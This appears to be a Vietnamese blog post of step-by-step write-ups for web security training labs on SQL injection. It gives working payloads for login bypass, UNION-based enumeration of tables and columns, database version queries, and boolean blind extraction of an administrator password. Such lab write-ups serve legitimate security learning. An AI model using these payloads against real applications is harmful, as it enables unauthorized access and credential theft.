Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
Mô tả:
Lab này chứa lỗ hổng SQL Injection trong bộ lọc danh mục sản phẩm. Mục tiêu của lab là thực hiện tấn công SQL Injection để hiển thị sản phẩm chưa phát hành.
Các bước tiến hành
- Lỗ hổng nằm ở tham số
category
. Nếu giá trị nhập vào không được kiểm tra đúng cách, ta có thể chèn một điều kiện logic làm thay đổi kết quả truy vấn.
Step 1: Sửa tham số category
.
- Khai thác bằng cách sửa
category
thành'+OR+1=1--
:
- Kết quả sau khi request:
Giải thích
- Việc sửa
category
đã khiến truy vấn SQL thành:
SELECT * FROM products WHERE category = '' OR 1=1 --' AND released = 1
--> Điều này làm cho việc 1=1
luôn đúng nên trả về toàn bộ sản phẩm (bao gồm cả chưa phát hành).
Lab: SQL injection vulnerability allowing login bypass
Mô tả:
Lab này chứa lỗ hổng SQL Injection trong chức năng đăng nhập. Mục tiêu là khai thác lỗ hổng này để đăng nhập vào ứng dụng với quyền administrator mà không cần biết mật khẩu.
Các bước thực hiện
Step 1: Gửi request với username
và password
bất kì
Step 2: Thử chỉnh sửa tham số username
thành administrator'--
. Mục đích nhằm comment phía sau giúp bỏ qua mật khẩu.
--> DONE
Lab: SQL injection attack, querying the database type and version on Oracle
Mô tả
Bài lab chứa lỗ hổng SQL Injection
trong bộ lọc danh mục sản phẩm (product category filter).
Các bước tiến hành
Step 1: Click vào danh mục sản phẩm bất kì để xem category
, thử thêm dấu '
vào tham số category
để xem phản hồi của server.
Step 2: Dùng ORDER BY
để xác định số cột:
==> Dùng NULL để tìm số lượng cột hợp lệ. Khi truy vấn hợp lệ mà không gặp lỗi, số NULL chính là số cột cần dùng.
Step 3: Viết mã python để dò hoặc sử dụng BurpSuite để dò
==> Số cột hợp lệ là 2
==> ' UNION SELECT NULL, 'TEST' FROM dual--
- Lấy phiên bản
Database
: ' UNION SELECT NULL, banner FROM v$version--
==> DONE
Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft
Mô tả
Bài lab này có lỗ hổng SQL Injection trong bộ lọc danh mục sản phẩm (product category filter). Ta có thể sử dụng UNION-based SQL Injection để lấy thông tin từ cơ sở dữ liệu.
Các bước thực hiện
- Thay đổi category
'
Step 1: Dò số lượng cột
==> truy vấn có 2 cột.
Step 2: Lấy phiên bản database
'+UNION+SELECT+@@version,+NULL#
Lab: SQL injection attack, listing the database contents on non-Oracle databases
Mô tả
Bài lab này chứa một lỗ hổng SQL Injection trong bộ lọc danh mục sản phẩm. Chúng ta có thể khai thác lỗ hổng này bằng cách sử dụng UNION attack để truy xuất dữ liệu từ các bảng khác trong cơ sở dữ liệu.
Mục tiêu của bài lab là tìm ra bảng chứa thông tin đăng nhập, lấy username và password của admin, và đăng nhập thành công.
Các bước thực hiện
Step 1: Dò số cột
Step 2: Tìm bảng chứa thông tin đăng nhập. Dùng payload
:
'+UNION+SELECT+table_name,NULL+FROM+information_schema.tables--
Step 3: Tìm bảng có khả năng chứa thông tin đăng nhập, ghi nhớ tên bảng ví dụ như username_table,... có thể dùng payload sau để dò
- Trông đáng nghi vler.
Step 4: Dùng payload để lấy username và password
'+UNION+SELECT+username_abcdef,password_abcdef+FROM+users_abcdef--
Step 5: Dùng payload SQL Injection sử dụng UNION để lấy dữ liệu từ bảng users_pzymph
.
'+UNION+SELECT+username_kconac,+password_swatkh+FROM+users_pzymph--
==> đã có user + pass ---> DONEEEEEEEEEEEE
Lab: SQL injection attack, listing the database contents on Oracle
Mô tả
Lab này chứa một lỗ hổng SQL Injection trong bộ lọc danh mục sản phẩm. Kết quả của truy vấn SQL được trả về trong phản hồi của ứng dụng, cho phép chúng ta sử dụng UNION để lấy dữ liệu từ các bảng khác.
Các bước tiến hành
- Tương tự với các lab trên dò các thông tin như số cột,.. ==> dò được 2 cột
Step 1: Lấy danh sách các bảng trong database
--> có bảng tên: USERS_YKUQYQ
có thể có thêm thông tin
Step 2: Lấy danh sách các cột trong bảng chứa thông tin đăng nhập.
Dùng payload sau để lấy danh sách cột:
' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name='USERS_YKUQYQ'--
Step 3: Lấy danh sách username và password
Dùng payload:
' UNION SELECT USERNAME_CZGPNA, PASSWORD_MRTUUF FROM USERS_YKUQYQ--
---> DONEEEEEEEEEEEEEEEEEEEE
Lab: SQL injection UNION attack, determining the number of columns returned by the query
Mô tả
Lab này có một lỗ hổng SQL Injection trong bộ lọc danh mục sản phẩm. Kết quả truy vấn SQL được trả về trong phản hồi của ứng dụng, cho phép chúng ta sử dụng kỹ thuật UNION để lấy dữ liệu từ các bảng khác. Mục tiêu của bài lab này là xác định số lượng cột được trả về từ truy vấn bằng cách thực hiện tấn công SQL Injection UNION.
Các bước thực hiện
- Một số bước cơ bản như các bài lab trên như dò số cột. --> dò được 3 cột
Lab: SQL injection UNION attack, finding a column containing text
Các bước thực hiện
- Tương tự với các lab trên dò số cột =)))
- Dùng payload sau thay thế NULL bằng các chuỗi bất kì để check xem cột nào chứa dữ liệu dạng text --> tìm được cột 2 có dạng text
' UNION SELECT NULL, 'abc', NULL--
- Đổi chuỗi abc sang chuỗi mà lab gợi ý
--> DONEEEEEEEEEEEE
Lab: SQL injection UNION attack, retrieving data from other tables
Các bước thực hiện
- Dò được 2 cột
- Truy xuất dữ liệu từ bảng users
---> DONEEEEEEEEEEEEEEEEEEE
Lab: SQL injection UNION attack, retrieving multiple values in a single column
Các bước thực hiện
- Dùng payload để lấy thông tin từ bảng:
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
Lab: Blind SQL injection with conditional responses
Mô tả
Bài lab này chứa một lỗ hổng Blind SQL Injection trong ứng dụng web. Ứng dụng sử dụng cookie TrackingId để theo dõi người dùng, nhưng cookie này bị tổn thương bởi SQL Injection. Mục tiêu là trích xuất mật khẩu của tài khoản administrator trong cơ sở dữ liệu.
- Cách tiếp cận:
Sử dụng boolean-based blind SQL injection để xác nhận sự tồn tại của bảng và dữ liệu.
Xác định độ dài của mật khẩu của administrator.
Trích xuất mật khẩu từng ký tự một bằng Burp Suite Intruder.
Các bước thực hiện
Step 1: Kiểm tra lỗ hổng SQL Injection
- Đổi giá trị của
TrackingId
thànhTrackingId=xyz....' AND '1'='1
--> Nhận được thông báo Welcome back!
Step 2: Kiểm tra sự tồn tại của bảng users
' AND (SELECT 'a' FROM users WHERE username='administrator')='a
Step 3: Xác định độ dài của mật khẩu Administrator
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
--> Tiếp tục thử các giá trị (>2, >3, v.v.) cho đến khi thông báo "Welcome back" biến mất. Tới >20 thì thông báo biến mất --> mk có 20 kí tự.
Step 4: Dò từng ký tự của mật khẩu
- Trong intruder chỉnh giá trị TrackingID:
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§
- Với các giá trị chạy từ 0-9 và a-z. Sau khi attack xong thu được mật khẩu. --> DONE
Top comments (0)